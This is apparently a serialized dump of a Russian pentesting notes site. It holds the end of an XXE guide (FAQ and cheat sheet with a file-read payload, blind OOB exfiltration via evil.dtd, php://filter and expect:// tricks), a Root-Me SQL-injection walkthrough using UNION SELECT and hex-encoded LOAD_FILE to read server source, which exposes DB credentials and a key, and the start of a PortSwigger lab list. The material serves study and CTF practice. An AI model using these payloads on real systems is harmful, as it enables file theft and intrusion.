дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию.",[36,8693,8695],{"id":8694},"_2-какая-ключевая-предпосылка-нужна-для-xxe","2. Какая ключевая предпосылка нужна для XXE?",[21,8697,8698,8699,8702],{},"Парсер должен обрабатывать DTD (Document Type Definition) и поддерживать external entities. Без DTD нет объявления сущностей — нет XXE. Если ",[48,8700,8701],{},"DOCTYPE"," запрещён на уровне парсера — атака невозможна (за исключением XInclude, который работает без DTD).",[36,8704,8706],{"id":8705},"_3-какой-типовой-импакт-у-xxe","3. Какой типовой импакт у XXE?",[21,8708,8709,8710,8713,8714,8717,8718,8720],{},"Чтение произвольных файлов (",[48,8711,8712],{},"file:\u002F\u002F\u002Fetc\u002Fpasswd",", конфиги, SSH-ключи, ",[48,8715,8716],{},".env","), SSRF к внутренним сервисам и cloud metadata (IAM-ключи), DoS через Billion Laughs. В редких случаях — RCE через ",[48,8719,6397],{}," (PHP) или цепочку с десериализацией. Blind XXE добавляет OOB-эксфильтрацию и error-based утечку данных.",[36,8722,8724],{"id":8723},"_4-чем-xxe-отличается-от-обычной-xml-injection","4. Чем XXE отличается от \"обычной\" XML injection?",[21,8726,8727],{},"XML injection — это манипуляция структурой XML-документа (вставка тегов, изменение значений). XXE — эксплуатация возможностей самого парсера через DTD и entities. XXE не меняет логику XML — он заставляет парсер загрузить внешние ресурсы. Это разные уровни атаки: injection работает с данными, XXE — с механизмом парсинга.",[36,8729,8731],{"id":8730},"_5-что-такое-blind-xxe","5. Что такое blind XXE?",[21,8733,8734],{},"Ситуация, когда парсер резолвит external entities, но результат не отображается в ответе. Эксплуатация идёт через три канала: OOB (out-of-band) — отправка данных через HTTP\u002FDNS-запрос на сервер атакующего с помощью parameter entities и внешнего DTD; error-based — провоцирование ошибки, в тексте которой содержатся данные; переопределение entity из локального системного DTD, когда исходящие соединения заблокированы.",[36,8736,8738],{"id":8737},"_6-как-xxe-превращается-в-ssrf","6. Как XXE превращается в SSRF?",[21,8740,8741,8742,3226,8744,8746,8747,8749],{},"Замена ",[48,8743,2355],{},[48,8745,3283],{}," в SYSTEM URI. Парсер делает HTTP-запрос на указанный адрес — включая внутренние адреса (169.254.169.254 для cloud metadata, localhost:PORT для внутренних сервисов). XXE — один из самых простых векторов для ",[24,8748,7166],{"href":5476},", потому что парсер выполняет запрос автоматически.",[36,8751,8753],{"id":8752},"_7-почему-мы-запретили-doctype-ещё-не-всегда-конец-истории","7. Почему \"мы запретили DOCTYPE\" — ещё не всегда конец истории?",[21,8755,8756,8757,8759],{},"XInclude не требует DOCTYPE — он работает через XML namespace и может быть инъектирован даже когда атакующий контролирует только часть XML-документа. XSLT-трансформации используют ",[48,8758,7666],{}," для загрузки внешних ресурсов — это отдельный вектор, не связанный с DTD. SVG, DOCX, XLSX — XML-форматы, которые могут обрабатываться другими парсерами с другими настройками.",[36,8761,8763],{"id":8762},"_8-почему-опасно-полагаться-на-фразу-наш-парсер-safe-by-default","8. Почему опасно полагаться на фразу \"наш парсер safe by default\"?",[21,8765,8295,8766,8768,8769,640,8771,8773,8774,8776],{},[48,8767,8298],{}," уязвим по умолчанию даже в Java 17+. PHP с флагом ",[48,8770,8254],{},[637,8772,8361],{}," подстановку entities (название обманчиво). Python ",[48,8775,8403],{}," не поддерживает external entities, но уязвим к Billion Laughs. Каждый парсер требует проверки конкретной версии и конфигурации — нет универсального \"safe by default\".",[36,8778,8780],{"id":8779},"_9-что-такое-billion-laughs-и-почему-это-обсуждают-рядом-с-xxe","9. Что такое Billion Laughs и почему это обсуждают рядом с XXE?",[21,8782,8783],{},"Атака на основе вложенных entity, где каждый уровень ссылается на предыдущий 10 раз — экспоненциальное раскрытие. 9 уровней вложенности = 10^9 копий строки \"lol\" — гигабайты в памяти парсера. Не даёт утечки данных, но подтверждает обработку DTD (если Billion Laughs работает — парсер обрабатывает entities, можно пробовать XXE). Некоторые парсеры защищены от external entities, но уязвимы к Billion Laughs.",[36,8785,8787],{"id":8786},"_10-как-выглядит-правильная-защита-от-xxe","10. Как выглядит правильная защита от XXE?",[21,8789,8790,8791,8794,8795,8798],{},"Отключить DTD целиком на уровне парсера (",[48,8792,8793],{},"disallow-doctype-decl"," в Java, ",[48,8796,8797],{},"DtdProcessing.Prohibit"," в .NET). Не фильтровать входные данные — фильтры обходятся (UTF-16, parametric entities). Не использовать XML там, где подойдёт JSON. Проверять парсеры всех форматов, которые могут содержать XML: SVG, DOCX, XLSX, SAML. Следить за конкретными версиями библиотек и их дефолтами — не полагаться на \"наверное безопасен\".",[1997,8800],{},[16,8802,8804],{"id":8803},"_17-шпаргалка-для-быстрого-повторения","17. Шпаргалка для быстрого повторения",[41,8806,8809],{"className":8807,"code":8808,"language":46},[44],"XXE = парсер резолвит внешние сущности из DTD\n\nСущности:\n  internal\u002Fexternal — откуда значение\n  general (&name;) \u002F parameter (%name;) — где используется\n  Parameter entities → для blind XXE (работают внутри DTD)\n  Parameter entities в internal DTD subset ограничены →\n    нужен внешний DTD (или трюк с локальным DTD)\n\nГде: XML API, SOAP, SVG, DOCX\u002FXLSX, подмена Content-Type JSON→XML,\n     SAML, GPX, XHTML, PDF-генерация из XSLT\n\nТипы:\n  Classic     → ответ виден, SYSTEM \"file:\u002F\u002F\u002F...\"\n  Blind OOB   → parameter entities + evil.dtd → HTTP-callback\n  Error-based → данные в сообщении об ошибке (когда OOB заблокирован)\n  Local DTD   → переопределение entity из системного DTD (без исходящих)\n  XInclude    → нет контроля над DOCTYPE\n  XSLT        → document() для чтения файлов и HTTP (без DTD)\n\nPayload (базовый):\n  \u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n  \u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\"Плохие\" символы (\u003C &):\n  PHP → php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=...\n  Общий → CDATA-обёртка через parameter entities\n  Java → jar:\u002F\u002F для обхода ограничений\n\nСвязки:\n  XXE→SSRF, XXE→LFI, XXE→RCE (expect:\u002F\u002F),\n  Blind XXE+DNS, SSRF→XXE\n\nЦели: \u002Fetc\u002Fpasswd, .env, SSH-ключи, cloud metadata, внутренние API\n\nЗащита:\n  Отключить DTD целиком (disallow-doctype-decl)\n  LIBXML_NOENT → ВКЛЮЧАЕТ подстановку (ловушка!)\n  Java уязвима по умолчанию даже в 17+\n  Python xml.etree — нет external entities, но есть Billion Laughs\n  Не фильтровать — отключать. Не XML — JSON.\n\nSeverity: файлы с секретами \u002F cloud keys = critical,\n          \u002Fetc\u002Fpasswd = high, blind = medium, DoS = low\n",[48,8810,8808],{"__ignoreMap":50},[357,8812,359],{},{"title":50,"searchDepth":98,"depth":98,"links":8814},[8815,8816,8822,8827,8833,8837,8841,8847,8852,8857,8861,8868,8874,8875,8876,8877,8889],{"id":6359,"depth":98,"text":6360},{"id":6402,"depth":98,"text":6403,"children":8817},[8818,8819,8820,8821],{"id":6406,"depth":104,"text":6407},{"id":6417,"depth":104,"text":6418},{"id":6586,"depth":104,"text":6587},{"id":6622,"depth":104,"text":6623},{"id":6722,"depth":98,"text":6723,"children":8823},[8824,8825,8826],{"id":6726,"depth":104,"text":6727},{"id":2035,"depth":104,"text":2036},{"id":6803,"depth":104,"text":6804},{"id":6834,"depth":98,"text":6835,"children":8828},[8829,8830,8831,8832],{"id":6838,"depth":104,"text":6839},{"id":6882,"depth":104,"text":6883},{"id":7159,"depth":104,"text":7160},{"id":7216,"depth":104,"text":7217},{"id":7290,"depth":98,"text":7291,"children":8834},[8835,8836],{"id":7294,"depth":104,"text":7295},{"id":7308,"depth":104,"text":4748},{"id":7359,"depth":98,"text":7360,"children":8838},[8839,8840],{"id":7363,"depth":104,"text":7364},{"id":7408,"depth":104,"text":7409},{"id":7465,"depth":98,"text":7466,"children":8842},[8843,8844,8845,8846],{"id":7469,"depth":104,"text":7470},{"id":7495,"depth":104,"text":7496},{"id":7511,"depth":104,"text":7512},{"id":7587,"depth":104,"text":7588},{"id":7602,"depth":98,"text":7603,"children":8848},[8849,8850,8851],{"id":7606,"depth":104,"text":7607},{"id":7632,"depth":104,"text":7633},{"id":7642,"depth":104,"text":7643},{"id":7659,"depth":98,"text":7660,"children":8853},[8854,8855,8856],{"id":7670,"depth":104,"text":7671},{"id":7704,"depth":104,"text":7705},{"id":7734,"depth":104,"text":7735},{"id":7753,"depth":98,"text":7754,"children":8858},[8859,8860],{"id":7843,"depth":104,"text":7844},{"id":7890,"depth":104,"text":7891},{"id":7925,"depth":98,"text":7926,"children":8862},[8863,8864,8865,8866,8867],{"id":7929,"depth":104,"text":7930},{"id":7951,"depth":104,"text":7952},{"id":3409,"depth":104,"text":3410},{"id":5576,"depth":104,"text":5577},{"id":5592,"depth":104,"text":5593},{"id":8104,"depth":98,"text":8105,"children":8869},[8870,8871,8872,8873],{"id":8108,"depth":104,"text":8109},{"id":8219,"depth":104,"text":8220},{"id":8269,"depth":104,"text":8270},{"id":5706,"depth":104,"text":5707},{"id":8516,"depth":98,"text":8517},{"id":8574,"depth":98,"text":8575},{"id":8649,"depth":98,"text":8650},{"id":8680,"depth":98,"text":8681,"children":8878},[8879,8880,8881,8882,8883,8884,8885,8886,8887,8888],{"id":8684,"depth":104,"text":8685},{"id":8694,"depth":104,"text":8695},{"id":8705,"depth":104,"text":8706},{"id":8723,"depth":104,"text":8724},{"id":8730,"depth":104,"text":8731},{"id":8737,"depth":104,"text":8738},{"id":8752,"depth":104,"text":8753},{"id":8762,"depth":104,"text":8763},{"id":8779,"depth":104,"text":8780},{"id":8786,"depth":104,"text":8787},{"id":8803,"depth":98,"text":8804},"Полный разбор XXE — XML-сущности, DTD, все векторы атак, blind\u002Ferror-based, обход \"плохих\" символов, защита по языкам. Теория, методология, чит-шит.",{},"\u002Fnotes\u002Fpentesting\u002Fxxe",{"title":6351,"description":8890},"notes\u002Fpentesting\u002Fxxe",[8896,3131,8897,8898,4027,121],"xxe","dtd","blind-xxe","bo1LXIoMsQ6-g8o3RQSfFa1jvjkQkFpi8P4Mt7vCYK8",{"id":8901,"title":8902,"author":6,"body":8903,"date":9318,"description":9319,"difficulty":110,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9320,"navigation":112,"notes":110,"path":9321,"psTitle":110,"seo":9322,"stem":9323,"tags":9324,"timeSpent":110,"type":123,"__hash__":9330},"content_ru\u002Fnotes\u002Fpentesting\u002Frootme-sqli-file-reading.md","SQL injection — File reading (Root-Me)",{"type":8,"value":8904,"toc":9304},[8905,8909,8911,8917,8933,8937,8953,8955,8966,8972,8976,8982,8988,8990,8996,9010,9016,9019,9023,9033,9039,9045,9049,9059,9065,9068,9074,9089,9093,9097,9100,9106,9109,9115,9125,9129,9140,9156,9199,9202,9208,9211,9217,9227,9231,9298,9301],[11,8906,8908],{"id":8907},"sql-injection-file-reading","SQL injection — File reading",[16,8910,625],{"id":624},[21,8912,8913,8916],{},[637,8914,8915],{},"SQL injection"," — уязвимость, при которой пользовательский ввод попадает в SQL-запрос без надлежащей обработки. Атакующий может изменить логику запроса: извлечь данные из других таблиц, обойти аутентификацию или — как в этой задаче — прочитать произвольные файлы с сервера.",[21,8918,8919,8922,8923,8926,8927,8930,8931,426],{},[637,8920,8921],{},"LOAD_FILE()"," — встроенная функция MySQL\u002FMariaDB, которая возвращает содержимое файла по указанному пути. Если у пользователя базы данных есть привилегия ",[48,8924,8925],{},"FILE",", а инъекция позволяет вывести результат через ",[48,8928,8929],{},"UNION SELECT",", можно читать любые файлы, доступные процессу СУБД: исходный код приложения, конфигурации, ",[48,8932,8550],{},[16,8934,8936],{"id":8935},"задание","Задание",[21,8938,8939,640,8942,8946,8949,8950,8952],{},[637,8940,8941],{},"Название:",[24,8943,8908],{"href":8944,"rel":8945},"https:\u002F\u002Fwww.root-me.org\u002Fen\u002FChallenges\u002FWeb-Server\u002FSQL-injection-File-reading",[28],[637,8947,8948],{},"Платформа:"," Root-Me\n",[637,8951,651],{}," Получить пароль администратора.",[16,8954,683],{"id":682},[21,8956,8957,8958,8961,8962,8965],{},"Открываем задание. На странице — два раздела: ",[637,8959,8960],{},"Authentication"," (форма входа) и ",[637,8963,8964],{},"Members"," (список пользователей). Переходим в Members — в списке единственный пользователь, администратор. Открываем его профиль:",[41,8967,8970],{"className":8968,"code":8969,"language":46},[44],"http:\u002F\u002Fchallenge01.root-me.org\u002Fweb-serveur\u002Fch31\u002F?action=members&id=1\n",[48,8971,8969],{"__ignoreMap":50},[36,8973,8975],{"id":8974},"определение-субд","Определение СУБД",[21,8977,8978,8979,8981],{},"Параметр ",[48,8980,1060],{}," — первый кандидат на инъекцию. Пробуем добавить одинарную кавычку:",[41,8983,8986],{"className":8984,"code":8985,"language":46},[44],"?action=members&id=1'--\n",[48,8987,8985],{"__ignoreMap":50},[21,8989,501],{},[41,8991,8994],{"className":8992,"code":8993,"language":46},[44],"You have an error in your SQL syntax; check the manual that corresponds\nto your MariaDB server version for the right syntax to use near '\\'--' at line 1\n",[48,8995,8993],{"__ignoreMap":50},[21,8997,8998,8999,9002,9003,9006,9007,9009],{},"Два вывода: СУБД — ",[637,9000,9001],{},"MariaDB",", а одинарная кавычка экранируется бэкслешем (",[48,9004,9005],{},"\\'","). Но параметр ",[48,9008,1060],{}," числовой — кавычки для инъекции не нужны. Проверяем:",[41,9011,9014],{"className":9012,"code":9013,"language":46},[44],"?action=members&id=1--\n",[48,9015,9013],{"__ignoreMap":50},[21,9017,9018],{},"Запрос проходит без ошибок. Точка инъекции и СУБД определены.",[36,9020,9022],{"id":9021},"определение-числа-колонок","Определение числа колонок",[21,9024,9025,9026,9028,9029,9032],{},"Для ",[48,9027,8929],{}," нужно знать количество колонок в оригинальном запросе. Используем ",[48,9030,9031],{},"ORDER BY",", увеличивая номер до ошибки:",[41,9034,9037],{"className":9035,"code":9036,"language":46},[44],"?action=members&id=1 ORDER BY 1--    → ОК\n?action=members&id=1 ORDER BY 2--    → ОК\n?action=members&id=1 ORDER BY 3--    → ОК\n?action=members&id=1 ORDER BY 4--    → ОК\n?action=members&id=1 ORDER BY 5--    → Unknown column '5' in 'order clause'\n",[48,9038,9036],{"__ignoreMap":50},[21,9040,9041,9042,426],{},"Итого: ",[637,9043,9044],{},"4 колонки",[36,9046,9048],{"id":9047},"определение-выводимых-позиций","Определение выводимых позиций",[21,9050,9051,9052,9054,9055,9058],{},"Подставляем ",[48,9053,8929],{}," с маркерами. Используем ",[48,9056,9057],{},"id=0",", чтобы оригинальный запрос не вернул строк и на странице отобразились только наши значения:",[41,9060,9063],{"className":9061,"code":9062,"language":46},[44],"?action=members&id=0 UNION SELECT 1,2,3,4--\n",[48,9064,9062],{"__ignoreMap":50},[21,9066,9067],{},"На странице:",[41,9069,9072],{"className":9070,"code":9071,"language":46},[44],"ID : 1\nUsername : 2\nEmail : 4\n",[48,9073,9071],{"__ignoreMap":50},[21,9075,9076,9077,973,9080,3483,9083,9086,9087,426],{},"Выводятся позиции ",[637,9078,9079],{},"1",[637,9081,9082],{},"2",[637,9084,9085],{},"4"," — в любую из них можно подставить результат ",[48,9088,8921],{},[16,9090,9092],{"id":9091},"чтение-файла","Чтение файла",[36,9094,9096],{"id":9095},"попытка-с-кавычками","Попытка с кавычками",[21,9098,9099],{},"Первая попытка — передать путь к файлу напрямую:",[41,9101,9104],{"className":9102,"code":9103,"language":46},[44],"?action=members&id=0 UNION SELECT LOAD_FILE('\u002Fchallenge\u002Fweb-serveur\u002Fch31\u002Findex.php'),2,3,4--\n",[48,9105,9103],{"__ignoreMap":50},[21,9107,9108],{},"Ошибка:",[41,9110,9113],{"className":9111,"code":9112,"language":46},[44],"...near '\\'\u002Fchallenge\u002Fweb-serveur\u002Fch31\u002Findex.php\\'),2,3,4--' at line 1\n",[48,9114,9112],{"__ignoreMap":50},[21,9116,9117,9118,6076,9121,9124],{},"Кавычки экранируются — ",[48,9119,9120],{},"LOAD_FILE('...')",[48,9122,9123],{},"LOAD_FILE(\\'...\\')",", и SQL ломается.",[36,9126,9128],{"id":9127},"обход-через-hex-кодирование","Обход через hex-кодирование",[21,9130,9131,9132,9135,9136,9139],{},"В MySQL\u002FMariaDB строки можно передавать как hex-литералы: ",[48,9133,9134],{},"0x2f746d70"," эквивалентен ",[48,9137,9138],{},"'\u002Ftmp'",". Это базовый синтаксис SQL, а не хак — кавычки просто не нужны.",[21,9141,9142,9143,9146,9147,9151,9152,9155],{},"Конвертируем путь ",[48,9144,9145],{},"\u002Fchallenge\u002Fweb-serveur\u002Fch31\u002Findex.php"," в ASCII hex. Для этого можно использовать ",[24,9148,9150],{"href":9149},"\u002Fru\u002Ftools\u002Fhex-converter","hex-конвертер",", Burp Suite Decoder (",[637,9153,9154],{},"Encode as → ASCII Hex",") или терминал:",[41,9157,9159],{"className":658,"code":9158,"language":660,"meta":50,"style":50},"echo -n '\u002Fchallenge\u002Fweb-serveur\u002Fch31\u002Findex.php' | xxd -p | tr -d '\\n' | sed 's\u002F^\u002F0x\u002F'\n",[48,9160,9161],{"__ignoreMap":50},[308,9162,9163,9166,9169,9172,9175,9178,9181,9183,9186,9188,9191,9193,9196],{"class":310,"line":311},[308,9164,9165],{"class":678},"echo",[308,9167,9168],{"class":678}," -n",[308,9170,9171],{"class":671}," '\u002Fchallenge\u002Fweb-serveur\u002Fch31\u002Findex.php'",[308,9173,9174],{"class":1619}," |",[308,9176,9177],{"class":667}," xxd",[308,9179,9180],{"class":678}," -p",[308,9182,9174],{"class":1619},[308,9184,9185],{"class":667}," tr",[308,9187,5975],{"class":678},[308,9189,9190],{"class":671}," '\\n'",[308,9192,9174],{"class":1619},[308,9194,9195],{"class":667}," sed",[308,9197,9198],{"class":671}," 's\u002F^\u002F0x\u002F'\n",[21,9200,9201],{},"Результат:",[41,9203,9206],{"className":9204,"code":9205,"language":46},[44],"0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870\n",[48,9207,9205],{"__ignoreMap":50},[21,9209,9210],{},"Подставляем в запрос:",[41,9212,9215],{"className":9213,"code":9214,"language":46},[44],"?action=members&id=0 UNION SELECT LOAD_FILE(0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870),2,3,4--\n",[48,9216,9214],{"__ignoreMap":50},[21,9218,9219,9220,9223,9224,426],{},"В поле ",[637,9221,9222],{},"ID"," отобразился исходный код ",[48,9225,9226],{},"index.php",[36,9228,9230],{"id":9229},"исходный-код","Исходный код",[41,9232,9234],{"className":302,"code":9233,"language":304,"meta":50,"style":50},"define('SQL_HOST',      '\u002Fvar\u002Frun\u002Fmysqld\u002Fmysqld3-web-serveur-ch31.sock');\ndefine('SQL_DB',        'c_webserveur_31');\ndefine('SQL_LOGIN',     'c_webserveur_31');\ndefine('SQL_P',         'dOJLsrbyas3ZdrNqnhx');\n\nfunction stringxor($o1, $o2) {\n    $res = '';\n    for($i=0;$i\u003Cstrlen($o1);$i++)\n        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));\n    return $res;\n}\n\n$key = \"c92fcd618967933ac463feb85ba00d5a7ae52842\";\n",[48,9235,9236,9241,9246,9251,9256,9260,9265,9270,9275,9280,9285,9289,9293],{"__ignoreMap":50},[308,9237,9238],{"class":310,"line":311},[308,9239,9240],{},"define('SQL_HOST',      '\u002Fvar\u002Frun\u002Fmysqld\u002Fmysqld3-web-serveur-ch31.sock');\n",[308,9242,9243],{"class":310,"line":98},[308,9244,9245],{},"define('SQL_DB',        'c_webserveur_31');\n",[308,9247,9248],{"class":310,"line":104},[308,9249,9250],{},"define('SQL_LOGIN',     'c_webserveur_31');\n",[308,9252,9253],{"class":310,"line":1327},[308,9254,9255],{},"define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');\n",[308,9257,9258],{"class":310,"line":1336},[308,9259,1636],{"emptyLinePlaceholder":112},[308,9261,9262],{"class":310,"line":1349},[308,9263,9264],{},"function stringxor($o1, $o2) {\n",[308,9266,9267],{"class":310,"line":1360},[308,9268,9269],{},"    $res = '';\n",[308,9271,9272],{"class":310,"line":1366},[308,9273,9274],{},"    for($i=0;$i\u003Cstrlen($o1);$i++)\n",[308,9276,9277],{"class":310,"line":1452},[308,9278,9279],{},"        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));\n",[308,9281,9282],{"class":310,"line":1465},[308,9283,9284],{},"    return $res;\n",[308,9286,9287],{"class":310,"line":1478},[308,9288,1369],{},[308,9290,9291],{"class":310,"line":1491},[308,9292,1636],{"emptyLinePlaceholder":112},[308,9294,9295],{"class":310,"line":1502},[308,9296,9297],{},"$key = \"c92fcd618967933ac463feb85ba00d5a7ae52842\";\n",[21,9299,9300],{},"В коде видны: credentials базы данных, XOR-ключ и функция аутентификации. Анализ продолжим позже.",[357,9302,9303],{},"html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":9305},[9306,9307,9308,9313],{"id":624,"depth":98,"text":625},{"id":8935,"depth":98,"text":8936},{"id":682,"depth":98,"text":683,"children":9309},[9310,9311,9312],{"id":8974,"depth":104,"text":8975},{"id":9021,"depth":104,"text":9022},{"id":9047,"depth":104,"text":9048},{"id":9091,"depth":98,"text":9092,"children":9314},[9315,9316,9317],{"id":9095,"depth":104,"text":9096},{"id":9127,"depth":104,"text":9128},{"id":9229,"depth":104,"text":9230},"2026-04-18","Разбор Root-Me: UNION-based SQL-инъекция, обход экранирования кавычек через ASCII hex и чтение файлов через LOAD_FILE.",{},"\u002Fnotes\u002Fpentesting\u002Frootme-sqli-file-reading",{"title":8902,"description":9319},"notes\u002Fpentesting\u002Frootme-sqli-file-reading",[9325,9326,9327,9328,9329,121],"root-me","sqli","file-reading","union","load-file","69wemaWm5C-0sNcAO7lcpxUIpCxA0CXotwlYf7v5B8g",{"id":9332,"title":9333,"author":110,"body":9334,"date":110,"description":9348,"difficulty":110,"extension":109,"image":110,"inProgress":9349,"logged":9350,"marathonStartDate":9353,"meta":9363,"navigation":112,"notes":9364,"path":9368,"psTitle":110,"seo":9369,"stem":9370,"tags":110,"timeSpent":110,"type":123,"__hash__":9371},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Findex.md","PortSwigger Web Security Academy",{"type":8,"value":9335,"toc":9346},[9336,9339],[11,9337,9333],{"id":9338},"portswigger-web-security-academy",[21,9340,9341,9342,426],{},"Марафон по решению лаб ",[24,9343,9333],{"href":9344,"rel":9345},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fall-labs",[28],{"title":50,"searchDepth":98,"depth":98,"links":9347},[],"Марафон решения лаб PortSwigger — каталог по темам и статистика по дням.",[],[9351,9355,9357,9359,9361],{"title":9352,"date":9353,"difficulty":257,"topic":9354},"Reflected XSS into HTML context with all tags blocked except custom ones","2026-04-27","xss",{"title":9356,"date":9353,"difficulty":257,"topic":9354},"Reflected XSS in canonical link tag",{"title":9358,"date":9353,"difficulty":257,"topic":9354},"Reflected XSS into a JavaScript string with single quote and backslash escaped",{"title":9360,"date":9353,"difficulty":257,"topic":9354},"Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped",{"title":9362,"date":9353,"difficulty":257,"topic":9354},"Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped",{},[9365],{"date":9366,"text":9367},"2026-04-28","Было мало времени. Пытался решить без Burp Collaborator.","\u002Fnotes\u002Fpentesting\u002Fportswigger",{"title":9333,"description":9348},"notes\u002Fpentesting\u002Fportswigger\u002Findex","Tq-aDeBYkim01oGUfCsj6Ww4RQ0iIzDc8yRGMXuJZg8",[9373,9473,9549,9607,9681,9746,9837,9896,9958,10036,10103,10173,10293,10420,10632,10725,10990,11094,11204,11525,11599,11703,11874,12129,12214,12399,12511,12595,12733,12855,12940,13040,13131,13245,13340,13463,13565,13689,13785,14041,14181,14324,14398,14789,15068,15402,15731,15828,16791,17149,17479,17578,17780,18517,18663,19238,19473,19686,19737,19923,20319],{"id":127,"title":128,"author":6,"body":9374,"date":255,"description":256,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9470,"navigation":112,"notes":110,"path":259,"psTitle":143,"seo":9471,"stem":261,"tags":9472,"timeSpent":265,"type":123,"__hash__":266},{"type":8,"value":9375,"toc":9463},[9376,9378,9380,9385,9387,9389,9394,9396,9398,9403,9407,9411,9416,9418,9423,9425,9429,9434,9438,9443,9447,9449,9454,9456,9461],[11,9377,134],{"id":133},[16,9379,19],{"id":18},[21,9381,9382,144],{},[24,9383,143],{"href":141,"rel":9384},[28],[16,9386,34],{"id":33},[36,9388,39],{"id":38},[41,9390,9392],{"className":9391,"code":152,"language":46},[44],[48,9393,152],{"__ignoreMap":50},[36,9395,54],{"id":53},[21,9397,159],{},[41,9399,9401],{"className":9400,"code":163,"language":46},[44],[48,9402,163],{"__ignoreMap":50},[21,9404,168,9405,172],{},[48,9406,171],{},[21,9408,175,9409,178],{},[48,9410,171],{},[41,9412,9414],{"className":9413,"code":182,"language":46},[44],[48,9415,182],{"__ignoreMap":50},[21,9417,187],{},[41,9419,9421],{"className":9420,"code":191,"language":46},[44],[48,9422,191],{"__ignoreMap":50},[21,9424,196],{},[21,9426,199,9427,203],{},[48,9428,202],{},[41,9430,9432],{"className":9431,"code":207,"language":46},[44],[48,9433,207],{"__ignoreMap":50},[21,9435,212,9436,215],{},[48,9437,171],{},[41,9439,9441],{"className":9440,"code":219,"language":46},[44],[48,9442,219],{"__ignoreMap":50},[21,9444,224,9445,228],{},[48,9446,227],{},[21,9448,231],{},[41,9450,9452],{"className":9451,"code":235,"language":46},[44],[48,9453,235],{"__ignoreMap":50},[21,9455,87],{},[41,9457,9459],{"className":9458,"code":243,"language":46},[44],[48,9460,243],{"__ignoreMap":50},[21,9462,96],{},{"title":50,"searchDepth":98,"depth":98,"links":9464},[9465,9466],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9467},[9468,9469],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":128,"description":256},[117,118,119,263,264,121],{"id":268,"title":269,"author":6,"body":9474,"date":255,"description":367,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9546,"navigation":112,"notes":110,"path":369,"psTitle":284,"seo":9547,"stem":371,"tags":9548,"timeSpent":374,"type":123,"__hash__":375},{"type":8,"value":9475,"toc":9539},[9476,9478,9480,9485,9487,9489,9494,9496,9498,9506,9510,9515,9517,9525,9530,9535,9537],[11,9477,275],{"id":274},[16,9479,19],{"id":18},[21,9481,9482,144],{},[24,9483,284],{"href":282,"rel":9484},[28],[16,9486,34],{"id":33},[36,9488,39],{"id":38},[41,9490,9492],{"className":9491,"code":292,"language":46},[44],[48,9493,292],{"__ignoreMap":50},[36,9495,54],{"id":53},[21,9497,299],{},[41,9499,9500],{"className":302,"code":303,"language":304,"meta":50,"style":50},[48,9501,9502],{"__ignoreMap":50},[308,9503,9504],{"class":310,"line":311},[308,9505,303],{},[21,9507,316,9508,215],{},[48,9509,319],{},[41,9511,9513],{"className":9512,"code":323,"language":46},[44],[48,9514,323],{"__ignoreMap":50},[21,9516,328],{},[330,9518,9519,9523],{},[333,9520,9521,338],{},[48,9522,337],{},[333,9524,341],{},[41,9526,9528],{"className":9527,"code":345,"language":46},[44],[48,9529,345],{"__ignoreMap":50},[41,9531,9533],{"className":9532,"code":351,"language":46},[44],[48,9534,351],{"__ignoreMap":50},[21,9536,96],{},[357,9538,359],{},{"title":50,"searchDepth":98,"depth":98,"links":9540},[9541,9542],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":9543},[9544,9545],{"id":38,"depth":104,"text":39},{"id":53,"depth":104,"text":54},{},{"title":269,"description":367},[117,118,119,373,121],{"id":377,"title":378,"author":6,"body":9550,"date":106,"description":444,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":9604,"navigation":112,"notes":110,"path":446,"psTitle":393,"seo":9605,"stem":448,"tags":9606,"timeSpent":122,"type":123,"__hash__":450},{"type":8,"value":9551,"toc":9597},[9552,9554,9556,9561,9563,9565,9570,9572,9574,9582,9584,9588,9593,9595],[11,9553,384],{"id":383},[16,9555,19],{"id":18},[21,9557,9558,30],{},[24,9559,393],{"href":391,"rel":9560},[28],[16,9562,34],{"id":33},[36,9564,39],{"id":38},[41,9566,9568],{"className":9567,"code":401,"language":46},[44],[48,9569,401],{"__ignoreMap":50},[36,9571,54],{"id":53},[21,9573,408],{},[41,9575,